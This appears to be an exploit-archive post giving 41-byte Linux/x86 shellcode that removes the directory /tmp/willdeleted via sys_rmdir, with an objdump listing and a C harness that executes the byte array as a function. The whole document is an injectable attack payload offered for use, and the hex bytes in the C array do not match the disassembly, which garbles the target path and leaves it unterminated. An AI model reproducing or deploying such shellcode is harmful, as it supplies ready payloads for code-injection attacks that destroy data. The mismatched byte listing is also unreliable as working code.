41 bytes small sys_rmdir("/tmp/willdeleted") Linux/x86 shellcode.
eef5d5c5b417c8c1bacd1984c0d3e29d819f406f2a3c47627a73eef2264a30e7
/*
Name : 41 bytes sys_rmdir("/tmp/willdeleted") x86 linux shellcode
Date : may, 31 2010
Author : gunslinger_
Web : devilzc0de.com
blog : gunslingerc0de.wordpress.com
tested on : linux debian
*/
/*
root@localhost:/home/gunslinger/shellcode# objdump -d rmdir
rmdir: file format elf32-i386
Disassembly of section .text:
08048060 <.text>:
8048060: eb 11 jmp 0x8048073
8048062: 31 c0 xor %eax,%eax
8048064: b0 28 mov $0x28,%al
8048066: 31 db xor %ebx,%ebx
8048068: 5b pop %ebx
8048069: cd 80 int $0x80
804806b: 31 c0 xor %eax,%eax
804806d: b0 01 mov $0x1,%al
804806f: 31 db xor %ebx,%ebx
8048071: cd 80 int $0x80
8048073: e8 ea ff ff ff call 0x8048062
8048078: 2f das
8048079: 74 6d je 0x80480e8
804807b: 70 2f jo 0x80480ac
804807d: 77 69 ja 0x80480e8
804807f: 6c insb (%dx),%es:(%edi)
8048080: 6c insb (%dx),%es:(%edi)
8048081: 64 fs
8048082: 65 gs
8048083: 6c insb (%dx),%es:(%edi)
8048084: 65 gs
8048085: 74 65 je 0x80480ec
8048087: 64 fs
root@localhost:/home/gunslinger/shellcode#
*/
#include <stdio.h>
char pussy[] = "\xeb\x11\x31\xc0\xb0\x28\x31"
"\xdb\x5b\xcd\x80\x31\xc0\xb0"
"\x01\x31\xdb\xcd\x80\xe8\xea"
"\xff\xff\xff\x2f\x74\x6d\x70"
"\x2f\x77\x69\x6c\x6c\x64\x65"
"\x6c\x74\x65\x74\x65\x64";
int main(void)
{
(*(void(*)()) pussy)();
return 0;
}